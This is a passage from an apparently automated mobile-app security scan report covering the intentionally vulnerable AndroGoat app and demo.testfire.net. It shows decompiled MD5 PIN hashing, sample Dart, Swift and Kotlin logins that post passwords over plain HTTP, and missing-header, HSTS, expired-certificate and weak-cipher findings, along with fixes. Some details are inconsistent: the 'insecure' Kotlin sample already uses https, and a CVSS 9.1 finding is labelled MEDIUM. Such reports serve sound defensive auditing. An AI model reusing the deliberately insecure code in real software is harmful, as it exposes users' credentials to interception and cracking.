
at `owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect`

```
    public final boolean isPinCorrect(String p4)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p4, pinValue);
        return this.getSharedPreferences(pinDetails, 0).getString(pin, 0).equals(this.hashPIN(p4));
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView`

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

### Finding #5

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
 at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick
```

at `java.security.MessageDigest.getInstance`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect`

```
    public final boolean isPinCorrect(String p4)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p4, pinValue);
        return this.getSharedPreferences(pinDetails, 0).getString(pin, 0).equals(this.hashPIN(p4));
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

### Finding #6

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect
```

at `java.security.MessageDigest.getInstance`

```
Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect`

```
    public final boolean isPinCorrect(String p4)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p4, pinValue);
        return this.getSharedPreferences(pinDetails, 0).getString(pin, 0).equals(this.hashPIN(p4));
    }
```

### Finding #7

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
```

at `java.security.MessageDigest.getInstance`

```
Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
```

```
 owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```

### Recommendation

To mitigate the risks of using weak hashing algorithms, consider the following:

- Avoid MD5 and SHA-1 as these algorithms are insecure and prone to collisions. They should not be used for any purpose, including HMAC.
- For hashing and signature verification, opt for SHA-256 or SHA-3. They offer high security and are widely accepted industry standards.
- For sensitive data (PII, PHI...) hashing, consider Argon2 or Bcrypt. They are designed to resist brute-force attacks and are recommended by security standards.
- When using HMAC for message authentication, ensure it's coupled with secure hash algorithms like SHA-256 or SHA-3 to maintain robust security.

### References

- Deprecating MD5 and SHA-1 signature hashes in (D)TLS 1.2
- Deprecation of SHA-1 (NIST)

---

## MEDIUM 20. Clear text HTTP request

**CVSS v3:** 9.1

The application is accessing data over unencrypted channel, undermining the confidentiality and integrity of data in transit.

Clear text HTTP traffic refers to data transmitted between a mobile app and its backend server without any encryption, making it easily readable and susceptible to interception by malicious actors. This lack of encryption poses significant security risks for mobile apps. When sensitive information, such as login credentials, personal data, or financial details, is sent over clear text HTTP connections, it becomes vulnerable to eavesdropping and man-in-the-middle attacks.

One of the primary risks associated with clear text HTTP traffic in mobile apps is the potential exposure of user data. Attackers can intercept and extract valuable information, leading to identity theft, unauthorized access to accounts, and misuse of personal data. Moreover, attackers can exploit these vulnerabilities to tamper with the app's content or inject malicious code into the communication channel.

Additionally, clear text HTTP traffic can compromise user privacy. Mobile apps often collect and transmit user data for analytics or targeted advertising purposes. Without encryption, this data is easily accessible to third parties, compromising users' confidentiality and potentially leading to privacy violations.

Mobile apps that fail to implement secure communication protocols also face the risk of impersonation attacks. Attackers can create fake Wi-Fi networks or use other techniques to intercept traffic, pretending to be the legitimate backend server. Users unknowingly send their data to the attacker, who can then misuse it for malicious purposes.

DART

```
 import 'dart:convert';
import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;

void main() => runApp(LoginApp());

class LoginApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Login App',
      home: LoginPage(),
    );
  }
}

class LoginPage extends StatefulWidget {
  @override
  _LoginPageState createState() => _LoginPageState();
}

class _LoginPageState extends State<LoginPage> {
  final TextEditingController _usernameController = TextEditingController();
  final TextEditingController _passwordController = TextEditingController();
  String _loginStatus = '';

  void _performLogin() async {
    final String username = _usernameController.text.trim();
    final String password = _passwordController.text.trim();

    // Simulate an HTTP request for login.
```

```
    final String apiUrl = 'http://example.com/login';
    final Map<String, dynamic> requestBody = {
      'username': username,
      'password': password,
    };

    final http.Response response = await http.post(
      Uri.parse(apiUrl),
      headers: {'Content-Type': 'application/json'},
      body: json.encode(requestBody),
    );

    if (response.statusCode == 200) {
      // Successful login
      setState(() {
        _loginStatus = 'Login successful!';
      });
    } else {
      // Failed login
      setState(() {
        _loginStatus = 'Login failed. Please try again.';
      });
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Login Page'),
      ),
      body: Padding(
        padding: const EdgeInsets.all(16.0),
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          crossAxisAlignment: CrossAxisAlignment.stretch,
          children: [
            TextFormField(
              controller: _usernameController,
              decoration: InputDecoration(labelText: 'Username'),
            ),
            TextFormField(
              controller: _passwordController,
              obscureText: true,
              decoration: InputDecoration(labelText: 'Password'),
            ),
            SizedBox(height: 20),
            ElevatedButton(
              onPressed: _performLogin,
              child: Text('Login'),
            ),
            SizedBox(height: 10),
            Text(_loginStatus, textAlign: TextAlign.center),
          ],
        ),
      ),
    );
  }
}
```

**SWIFT**

```
 import UIKit

class LoginViewController: UIViewController {
    @IBOutlet weak var usernameTextField: UITextField!
    @IBOutlet weak var passwordTextField: UITextField!
    @IBOutlet weak var loginStatusLabel: UILabel!

    override func viewDidLoad() {
        super.viewDidLoad()
    }

    @IBAction func loginButtonTapped(_ sender: UIButton) {
        guard let username = usernameTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines),
              let password = passwordTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines) else {
            return
        }
```

```
        // Simulate an HTTP request for login.
        let apiUrl = "http://example.com/login"
        let requestBody: [String: Any] = [
            "username": username,
            "password": password
        ]

        var request = URLRequest(url: URL(string: apiUrl)!)
        request.httpMethod = "POST"
        request.setValue("application/json", forHTTPHeaderField: "Content-Type")

        do {
            request.httpBody = try JSONSerialization.data(withJSONObject: requestBody, options: [])
        } catch {
            print("Error creating JSON data: \(error)")
            return
        }

        let task = URLSession.shared.dataTask(with: request) { data, response, error in
            if let error = error {
                print("Error: \(error)")
                DispatchQueue.main.async {
                    self.loginStatusLabel.text = "Login failed. Please try again."
                }
                return
            }

            guard let data = data,
                  let httpResponse = response as? HTTPURLResponse,
                  httpResponse.statusCode == 200 else {
                DispatchQueue.main.async {
                    self.loginStatusLabel.text = "Login failed. Please try again."
                }
                return
            }

            DispatchQueue.main.async {
                self.loginStatusLabel.text = "Login successful!"
            }
        }

        task.resume()
    }
}
```

KOTLIN

```
 import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
import kotlinx.android.synthetic.main.activity_login.*
import org.json.JSONObject
import java.io.OutputStreamWriter
import java.net.HttpURLConnection
import java.net.URL

class LoginActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_login)

        loginButton.setOnClickListener {
            val username = usernameEditText.text.trim().toString()
            val password = passwordEditText.text.trim().toString()

            // Simulate an HTTP request for login.
            val apiUrl = "https://example.com/login"
            val requestBody = JSONObject().apply {
                put("username", username)
                put("password", password)
            }.toString()

            Thread {
                performLogin(apiUrl, requestBody)
            }.start()
        }
    }
```

```
    private fun performLogin(apiUrl: String, requestBody: String) {
        try {
            val url = URL(apiUrl)
            val connection = url.openConnection() as HttpURLConnection
            connection.requestMethod = "POST"
            connection.setRequestProperty("Content-Type", "application/json")
            connection.doOutput = true

            val outputStreamWriter = OutputStreamWriter(connection.outputStream)
            outputStreamWriter.write(requestBody)
            outputStreamWriter.flush()

            val responseCode = connection.responseCode
            if (responseCode == HttpURLConnection.HTTP_OK) {
                runOnUiThread {
                    loginStatusLabel.text = "Login successful!"
                }
            } else {
                runOnUiThread {
                    loginStatusLabel.text = "Login failed. Please try again."
                }
            }
        } catch (e: Exception) {
            Log.e("LoginActivity", "Error: ${e.message}")
            runOnUiThread {
                loginStatusLabel.text = "Login failed. Please try again."
            }
        }
    }
}
```

### Technical Details

#### Finding #1

Use of a clear-text non-encrypted HTTP URL: `http://demo.testfire.net/` Request:

```
GET / HTTP/1.1
Host: demo.testfire.net
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.8.0
```

Response:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9BDCDE139DFF2F56BD4E46A2E78C713E; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Transfer-Encoding: chunked
Date: Tue, 19 May 2026 16:52:06 GMT
```

### Recommendation

To mitigate the risks associated with clear text HTTP traffic in mobile apps, it is imperative to implement secure communication protocols and best practices. Below are some detailed recommendations to enhance the security of mobile app communications:

- Adopt HTTPS Encryption: The most fundamental step is to use HTTPS (HTTP Secure) for all communication between the mobile app and the backend server. HTTPS encrypts data during transmission, ensuring that sensitive information remains confidential and secure. Obtain an SSL/TLS certificate from a trusted Certificate Authority (CA) and enforce HTTPS connections for all API endpoints and data transfers.
- Certificate Pinning: Implement certificate pinning to enhance the security of HTTPS connections. This involves hardcoding the server's SSL certificate or its public key within the mobile app. By doing so, the app ensures that it only communicates with the intended server, preventing man-in-the-middle attacks where attackers attempt to use their own certificates.
- Enable HSTS (HTTP Strict Transport Security): Utilize HSTS headers to instruct the app's web browser to always use HTTPS connections, even if the user mistakenly types "http://" in the URL. This prevents any potential downgrade attacks and ensures all communications are encrypted.

- Use the Latest TLS Version: Ensure that the mobile app uses the latest version of the TLS (Transport Layer Security) protocol to take advantage of the most robust security features and encryption algorithms.
- Implement Certificate Checking: Configure the app to check for revoked or expired SSL certificates to avoid interactions with potentially compromised servers.
- Sensitive Data Encryption: Encrypt sensitive data stored on the device or transmitted to the server. Utilize strong encryption algorithms and securely manage encryption keys, this can add an extra layer of security to data transmission.
- Secure Data Transmission for All APIs: Evaluate all APIs used by the app and ensure that they also use HTTPS for data transmission. This includes third-party APIs and services integrated into the app.

DART

```
 import 'dart:convert';
import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;

void main() => runApp(LoginApp());

class LoginApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Login App',
      home: LoginPage(),
    );
  }
}

class LoginPage extends StatefulWidget {
  @override
  _LoginPageState createState() => _LoginPageState();
}

class _LoginPageState extends State<LoginPage> {
  final TextEditingController _usernameController = TextEditingController();
  final TextEditingController _passwordController = TextEditingController();
  String _loginStatus = '';

  void _performLogin() async {
    final String username = _usernameController.text.trim();
    final String password = _passwordController.text.trim();

    // Simulate a secure HTTPS request for login (Replace this with your actual secure API endpoint).
    final String apiUrl = 'https://www.example.com/login';
    final Map<String, dynamic> requestBody = {
      'username': username,
      'password': password,
    };

    final http.Response response = await http.post(
      Uri.parse(apiUrl),
      headers: {'Content-Type': 'application/json'},
      body: json.encode(requestBody),
    );

    if (response.statusCode == 200) {
      // Successful login
      setState(() {
        _loginStatus = 'Login successful!';
      });
    } else {
      // Failed login
      setState(() {
        _loginStatus = 'Login failed. Please try again.';
      });
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Login Page'),
      ),
      body: Padding(
        padding: const EdgeInsets.all(16.0),
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
```

```
          crossAxisAlignment: CrossAxisAlignment.stretch,
          children: [
            TextFormField(
              controller: _usernameController,
              decoration: InputDecoration(labelText: 'Username'),
            ),
            TextFormField(
              controller: _passwordController,
              obscureText: true,
              decoration: InputDecoration(labelText: 'Password'),
            ),
            SizedBox(height: 20),
            ElevatedButton(
              onPressed: _performLogin,
              child: Text('Login'),
            ),
            SizedBox(height: 10),
            Text(_loginStatus, textAlign: TextAlign.center),
          ],
        ),
      ),
    );
  }
}
```

SWIFT

```
 import UIKit

class LoginViewController: UIViewController {
    @IBOutlet weak var usernameTextField: UITextField!
    @IBOutlet weak var passwordTextField: UITextField!
    @IBOutlet weak var loginStatusLabel: UILabel!

    override func viewDidLoad() {
        super.viewDidLoad()
    }

    @IBAction func loginButtonTapped(_ sender: UIButton) {
        guard let username = usernameTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines),
              let password = passwordTextField.text?.trimmingCharacters(in: .whitespacesAndNewlines) else {
            return
        }

        // Simulate a secure HTTPS request for login (Replace this with your actual secure API endpoint).
        let apiUrl = "https://www.example.com/login"
        let requestBody: [String: Any] = [
            "username": username,
            "password": password
        ]

        var request = URLRequest(url: URL(string: apiUrl)!)
        request.httpMethod = "POST"
        request.setValue("application/json", forHTTPHeaderField: "Content-Type")

        do {
            request.httpBody = try JSONSerialization.data(withJSONObject: requestBody, options: [])
        } catch {
            print("Error creating JSON data: \(error)")
            return
        }

        let task = URLSession.shared.dataTask(with: request) { data, response, error in
            if let error = error {
                print("Error: \(error)")
                DispatchQueue.main.async {
                    self.loginStatusLabel.text = "Login failed. Please try again."
                }
                return
            }

            guard let data = data,
                  let httpResponse = response as? HTTPURLResponse,
                  httpResponse.statusCode == 200 else {
                DispatchQueue.main.async {
                    self.loginStatusLabel.text = "Login failed. Please try again."
                }
                return
```

```
            }

            DispatchQueue.main.async {
                self.loginStatusLabel.text = "Login successful!"
            }
        }

        task.resume()
    }
}
```

KOTLIN

```
 import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
import kotlinx.android.synthetic.main.activity_login.*
import org.json.JSONObject
import java.io.OutputStreamWriter
import java.net.HttpURLConnection
import java.net.URL

class LoginActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_login)

        loginButton.setOnClickListener {
            val username = usernameEditText.text.trim().toString()
            val password = passwordEditText.text.trim().toString()

            // Simulate a secure HTTPS request for login (Replace this with your actual secure API endpoint).
            val apiUrl = "https://www.example.com/login"
            val requestBody = JSONObject().apply {
                put("username", username)
                put("password", password)
            }.toString()

            Thread {
                performLogin(apiUrl, requestBody)
            }.start()
        }
    }

    private fun performLogin(apiUrl: String, requestBody: String) {
        try {
            val url = URL(apiUrl)
            val connection = url.openConnection() as HttpURLConnection
            connection.requestMethod = "POST"
            connection.setRequestProperty("Content-Type", "application/json")
            connection.doOutput = true

            val outputStreamWriter = OutputStreamWriter(connection.outputStream)
            outputStreamWriter.write(requestBody)
            outputStreamWriter.flush()

            val responseCode = connection.responseCode
            if (responseCode == HttpURLConnection.HTTP_OK) {
                runOnUiThread {
                    loginStatusLabel.text = "Login successful!"
                }
            } else {
                runOnUiThread {
                    loginStatusLabel.text = "Login failed. Please try again."
                }
            }
        } catch (e: Exception) {
            Log.e("LoginActivity", "Error: ${e.message}")
            runOnUiThread {
                loginStatusLabel.text = "Login failed. Please try again."
            }
        }
    }
}
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| Attack Vector: | **Network (N)** · Adjacent (A) · Local (L) · Physical (P) |
| Attack Complexity: | **Low (L)** · High (H) |
| Privileges Required: | **None (N)** · Low (L) · High (H) |
| User Interaction: | **None (N)** · Required (R) |
| Scope: | Changed (C) · **Unchanged (U)** |
| Confidentiality: | **High (H)** · Low (L) · None (N) |
| Integrity: | **High (H)** · Low (L) · None (N) |
| Availability: | High (H) · Low (L) · **None (N)** |

### References

- Missing Encryption of Sensitive Data (CWE-311)
- Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection
- Top 10 2013-A6-Sensitive Data Exposure
- Insufficient Transport Layer
- Cleartext Transmission of Sensitive Information (CWE-319)

---

## MEDIUM 21. CERTIFICATE_EXPIRED

An expired SSL/TLS certificate is no longer trusted by browsers and clients, leading to security warnings, service disruptions, and potential security vulnerabilities, including man-in-the-middle attacks.

An expired SSL/TLS certificate is no longer trusted by modern browsers and clients, resulting in broken trust chains, security warnings, and exposure to several potential security vulnerabilities, such as man-in-the-middle (MitM) attacks.

When a certificate expires, browsers display prominent security warnings like "Your connection is not private" or "Certificate has expired." These warnings disrupt secure communication between the client and the server, directly affecting user trust and business continuity. In e-commerce and other sensitive environments, this often leads to user abandonment, financial losses, and reputational harm.

The security risks of an expired certificate extend beyond user impact. Attackers can exploit the absence of a valid certificate to perform MitM attacks, intercepting or altering sensitive data during transmission. Without a valid certificate to authenticate the server, encrypted communications lose their protection, leaving data vulnerable to interception, modification, or forgery.

For example, a website with an expired certificate can no longer ensure the confidentiality and integrity of user data. An attacker may impersonate the website and intercept login credentials or payment information by spoofing the connection, leading to unauthorized access or financial fraud.

Expired certificates also represent non-compliance with several security standards, including PCI DSS, HIPAA, and GDPR. These regulations require valid SSL/TLS certificates to protect sensitive data. Failure to comply could lead to legal penalties and further reputational damage.

### Technical Details

#### Finding #1

**CERTIFICATE_EXPIRED** detected on `demo.testfire.net`

- **Finding**: expires < 60 days (33)

### Recommendation

To address the risks associated with expired SSL/TLS certificates, organizations should implement several proactive strategies:

- Automated Monitoring Tools: Deploy tools that continuously monitor the status of SSL/TLS certificates and send alerts when they are approaching expiration. This helps prevent service disruptions caused by unnoticed expired certificates.
- Emergency Renewal Procedures: Establish clear emergency procedures for rapid certificate renewal in case of unexpected expiration. This ensures minimal downtime and protects against potential security risks.
- Regular Audits: Conduct regular audits of your SSL/TLS certificate inventory to identify and renew any expired certificates promptly. Keeping an up-to-date inventory helps avoid lapses in security.
- Automated Certificate Provisioning: Implement systems that automate the issuance and renewal of SSL/TLS certificates to maintain continuous validity. Tools such as cert-manager in Kubernetes streamline this process.

**Automated Certificate Provisioning in Kubernetes:**

In Kubernetes, you can automate SSL/TLS certificate management using cert-manager. This tool interacts with Certificate Authorities (CAs) like Let's Encrypt to automatically issue and renew certificates.

- Install cert-manager:

```
kubectl apply -f https://github.com/cert-manager/cert-manager/releases/latest/download/cert-manager.yaml
```

Here is a YAML configuration for cert-manager to automate certificate provisioning:

```
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
  name: example-cert
  namespace: default
spec:
  secretName: example-cert-secret
  issuerRef:
    name: letsencrypt-prod
    kind: ClusterIssuer
  commonName: example.com
  dnsNames:
    - example.com
    - www.example.com
  duration: 90d
  renewBefore: 30d
```

**Monitoring with Certbot:**

For environments not using Kubernetes, you can use Certbot to automate SSL certificate issuance and renewal.

```
# Automatically issue or renew SSL certificates using Certbot
domain="example.com"
email="admin@example.com"

# Run Certbot in standalone mode to obtain the certificate
certbot certonly --standalone -d $domain --email $email --agree-tos
```

**Automated Certificate Renewal with Cron Job:**

You can automate the renewal process using a cron job:

```
# Edit your crontab with: crontab -e
0 0 * * * /usr/bin/certbot renew --quiet
```

This cron job will run daily at midnight to check for certificates that are due for renewal, ensuring continuous coverage without manual intervention.

### References

- NIST Guidelines for Key Management
- SSL Labs Best Practices

---

MEDIUM

## 22. Insecure HTTP Header Setting

The application header setting is either missing or setting insecure or unsafe header values.

Insecure Header Setting:

- **Content Security Policy**: Mitigates risks of cross-site scripting (XSS) by specifying trusted sources for content.
- **Cookie**: Enhances security by setting attributes like HttpOnly and Secure to protect cookie data from unauthorized access.
- **Cross-Origin Resource Sharing**: Controls how resources can be shared across different domains to prevent malicious access.
- **HTTP Public Key Pinning**: Protects against man-in-the-middle attacks by specifying which public keys are valid for a particular site.
- **Redirection**: Ensures that redirects are safe and only lead to trusted destinations to prevent open redirect vulnerabilities.
- **Referrer Policy**: Defines how much referrer information is passed when navigating from one site to another, enhancing privacy.
- **Subresource Integrity**: Verifies that resources loaded from third-party domains have not been tampered with by checking their cryptographic hash.
- **X-Content-Type-Options**: Prevents browsers from MIME-sniffing the content type, reducing the risk of content-type-based attacks.

- **X-Frame-Options**: Prevents clickjacking attacks by controlling whether a page can be embedded in a frame.
- **X-XSS-Protection**: Activates the browser's built-in XSS filtering to block detected cross-site scripting attacks.
- **Permissions-Policy**: Controls which features and APIs can be used in the browser, enhancing security by limiting capabilities for untrusted content.
- **Clear-Site-Data**: Allows sites to request the browser to clear stored data (cookies, local storage, caches) for a specified origin, helping to mitigate the impact of data leaks or privacy concerns.

### Technical Details

#### Finding #1

**MISSING_SECURITY_HEADERS** detected on `demo.testfire.net`

- **Finding**: --

### Recommendation

To ensure you don't have insecure header settings, consider the following:

1. **Content Security Policy (CSP):**

Enforce restrictions on content sources, mitigating risks associated with cross-site scripting (XSS) attacks and unauthorized resource loading.

```
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com;
```

2. **Cookie Security Headers:**

Implement Secure and HttpOnly flags to prevent cookie theft and manipulation, enhancing user session security.

```
Set-Cookie: sessionid=abc123; Secure; HttpOnly;
```

3. **Cross-Origin Resource Sharing (CORS):**

Properly configure CORS policies to restrict resource access from different origins, mitigating cross-site request forgery (CSRF) and cross-origin data leakage.

```
Access-Control-Allow-Origin: https://example.com
```

4. **HTTP Public Key Pinning (HPKP):**

Utilize HPKP to bind public keys to specific web servers, protecting against Man-in-the-Middle (MitM) attacks involving fraudulent certificates.

```
Public-Key-Pins: pin-sha256="base64=="; max-age=5184000; includeSubDomains;
```

5. **Redirection Headers:**

Ensure secure redirection by implementing strict controls to prevent open redirection vulnerabilities, thereby safeguarding users against phishing attacks.

```
Location: https://example.com/secure-page
```

6. **Referrer Policy:**

Set appropriate referrer policies to control how much information is passed in the Referer header, reducing the risk of sensitive data exposure.

```
Referrer-Policy: strict-origin-when-cross-origin
```

7. **Subresource Integrity (SRI):**

Implement SRI to verify the integrity of external resources, such as scripts and stylesheets, guarding against unauthorized modifications and supply chain attacks.

```
<script src="https://example.com/example.js" integrity="sha256-base64==" crossorigin="anonymous"></script>
```

8. **X-Content-Type-Options:**

Enable the 'nosniff' directive to prevent browsers from MIME-sniffing a response, mitigating risks associated with content type confusion attacks.

```
X-Content-Type-Options: nosniff
```

9. **X-Frame-Options:**

Set X-Frame-Options to restrict embedding of web content into frames, protecting against clickjacking attacks and ensuring the integrity of our web pages.

```
X-Frame-Options: DENY
```

10. **X-XSS-Protection:**

Enable XSS protection mechanisms to mitigate XSS attacks by instructing browsers to sanitize or block potentially malicious scripts.

```
X-XSS-Protection: 1; mode=block
```

### References

- OWASP HTTP Header Security
- Content Security Policy (MDN)
- X-Frame-Options (MDN)

---

MEDIUM

## 23. Insecure HTTP Header Setting: HTTP Strict Transport Security (HSTS)

Insecure HTTP Header Setting: HTTP Strict Transport Security (HSTS).

HTTP Strict Transport Security (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure (HTTPS) connections. The server communicates the HSTS Policy to the user agent via an HTTP response header field named "Strict-Transport-Security". HSTS The policy specifies a period during which the user agent shall access the server in only a secure fashion.

When a web application issues HSTS Policy to user agents, conformant user agents behave as follows:

- Automatically turn any insecure (HTTP) links referencing the web application into secure (HTTPS) links. (For instance, http://example.com/some/page/ will be modified to https://example.com/some/page/ before accessing the server.)
- If the connection's security cannot be ensured (e.g., the server's TLS certificate is self-signed), user agents show an error message and do not allow the user to access the web application.

### Technical Details

#### Finding #1

**HSTS** detected on `demo.testfire.net`

- **Finding**: not offered

### Recommendation

Configure your webserver to redirect HTTP requests to HTTPS.

i.e. for Apache, you should have modification in the httpd.conf. For more configurations, please refer to External References section.

```
 # load module
LoadModule headers_module modules/mod_headers.so

# redirect all HTTP to HTTPS (optional)
<VirtualHost *:80>
           ServerAlias *
           RewriteEngine On
           RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [redirect=301]
</VirtualHost>

# HTTPS-Host-Configuration
<VirtualHost *:443>
          # Use HTTP Strict Transport Security to force client to use secure connections only
          Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

          # Further Configuration goes here
          [...]
</VirtualHost>
```

### References

- Strict-Transport-Security

---

MEDIUM

## 24. Insecure TLS Ciphers supported

The client supports combinations of cipher suites that suffer from known cryptographic weaknesses.

Transport Layer Security (TLS) starts with the client requesting a secure connection and presenting a list of supported cipher suites.

A cipher suite is a list of authentication, encryption, message authentication code (MAC), and key exchange algorithms. Each algorithm serves a specific role during the protocol negotiation. For example, using a week algorithm might critically impact the security of the whole channel.

It was identified that the endpoint supports a combination of cipher suites and Secure Sockets Layer / Transport Layer Security (SSL/TLS) protocols that suffer from known cryptographic weaknesses. Therefore they should not be relied upon for effective transport layer security. An attacker who can eavesdrop on the connection could influence or decrypt the traffic passing by.

Cryptographic weaknesses have been demonstrated for all the following configurations:

- Support for deprecated SSL protocol (v2 or v3)
- Support cipher suites offering keys smaller than 128bit
- Support of cipher suites offering `CBC` mode in combination with TLS protocol lower than version 1.1 vulnerable to the BEAST attack
- Use of compression within TLS vulnerable to the CRIME attack
- Support of cipher suites offering `RC4` as a cipher
- Support of cipher suites offering `DES` as a cipher
- Support of cipher suites offering `MD5` as a signature algorithm

### Technical Details

#### Finding #1

**cipherlist_OBSOLETED** detected on `demo.testfire.net`

- **Finding**: Obsolete cipher suites offered

#### Finding #2

**cipherlist_OBSOLETED** detected on `owasp.org`

- **Finding**: Obsolete cipher suites offered

### Recommendation

